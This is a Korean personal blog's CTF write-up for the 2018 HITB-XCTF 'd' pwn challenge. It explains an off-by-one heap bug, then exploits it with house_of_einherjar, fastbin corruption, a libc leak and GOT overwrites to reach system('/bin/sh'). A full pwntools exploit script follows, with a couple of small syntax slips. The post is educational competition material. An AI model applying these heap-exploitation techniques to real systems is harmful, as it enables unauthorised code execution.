HanJeouk의 개인공부 블로그

2018 HITB-XCTF d

CTF2018. 4. 15. 23:54

대회가 끝나고 푼 문제인데 취약점을 찾아놓고 못 풀어서 아쉬움이 남는 문제였다. 

우선 취약점은 read message 안에있는 할당하는 부분에서 발생한다.

입력한 값의 개수를 쉬프트 연산을 하고 3을 곱한다음 1을 더해서 할당하는데 할당하고 값을 넣는 과정에서 값을 암호화? 하는데 들어간 값을 보면 다음 청크의 prev_size와 size 1바이트를 \x00으로 덮을 수 있다(off_by_one).

근데 무조건적으로 prev_size와 size를 덮을 수 있는게 아니라서 하나하나 넣어보며 확인해야한다.

그래서 prev_size와, off_by_one을 이용할 수 있는 기법을 생각하다가 house_of_einherjar가 생각난다.

가물가물하다면 여기로 -> house_of_einherjar

house_of_einherjar을 이용하여 조작할 수 있는 fastbin 청크를 만들었다.

조작할 수 있는 fastbin 청크를 free시키고 그 청크의 fd를 전역변수 안에 있는 힙 주소로 조작시켰다.

로컬에서는 힙 영역이 0x60으로 시작하기 때문에 그 부분을 사이즈로 맞춰서 fd로 넣어줬다.

이렇게!

이제 전역변수에 청크가 할당되었으니 릭과 공격이 가능하다.

전역변수에 plt와 got를 적절히 사용하여 릭과 공격을 하면 된다.

그런데 공격할 때 문제가 발생한다. 릭과 공격을 할때는 edit 함수를 이용하는데 edit 함수 안에있는 strlen 함수 때문에 함수의 got에 system가 다 안덮힌다. 그래서 strlen_got에 alarm_plt를 넣었다. alarm 은 이전에 설정된 알람이 시그널을 전달할 때까지 남은 시간을 초 단위 숫자로 반환하거나, 이전에 설정된 알람이 없을경우 0을 되돌려 준다. 그래서 한정적이었던 사이즈를 늘릴 수 있다. 이제 system을 덮을만큼 충분히 길이가 된다. 그래서 atoi_got를 system으로 덮어서 쉘을 땄다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import*
= process("./d")
elf = ELF("./d")
 
def add(idx,msg):
        p.sendlineafter("? :","1")
        p.sendlineafter("? :",str(idx))
        p.sendlineafter("msg:",msg)
 
def edit(idx,msg):
        p.sendlineafter("? :","2")
        p.sendlineafter("? :",str(idx))
        p.sendlineafter("msg:",msg)
 
def wipe(idx):
        p.sendlineafter("? :","3")
        p.sendlineafter("? :",str(idx))
 
sleep(3)
alarm_plt = 0x4007b0
add(0,"a"*54)
add(1,"a"*680)
add(2,"a"*340)
 
edit(1,"b"*496+p64(0x200)+p64(0x60))
wipe(1)
edit(0,"a"*40)
 
add(3,"c"*543)
add(4,"b"*107)
edit(4,"b"*60)
wipe(3)
wipe(2)
wipe(4)
 
add(5,"a"*680)
edit(5,"a"*400+p64(0x1a0)+p64(0x60)+p64(0x6021aa))
add(6,"b"*107)
add(2,"b"*107#control
 
edit(2,"b"*46+p64(elf.got["free"])+p64(elf.got["strlen"]))
edit(13,p32(elf.plt["puts"])+"\x00\x00\x00")
 
edit(2,"b"*30+p64(elf.got["puts"]))
wipe(11)
puts = u64(p.recv(6)+"\x00\x00")
base = puts-0x6f690
system = base+0x45390
binsh = base+0x18cd57
print "puts: " + hex(puts)
print "system: " + hex(system)
edit(2,"a"*14+p64(elf.got["atoi"]))
edit(14,p64(elf.plt["alarm"]))
edit(9,p64(system))
p.sendlineafter("? :","/bin/sh")
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

2018_Asis_CTF Just Sort!  (0) 2018.05.03
2018_Asis_CTF Cat  (0) 2018.05.03
2018 Codegate Final heapbabe & 후기  (0) 2018.04.08
2017 Codegate Final building_owner  (0) 2018.03.29
2017 Codegate Final petshop  (0) 2018.03.27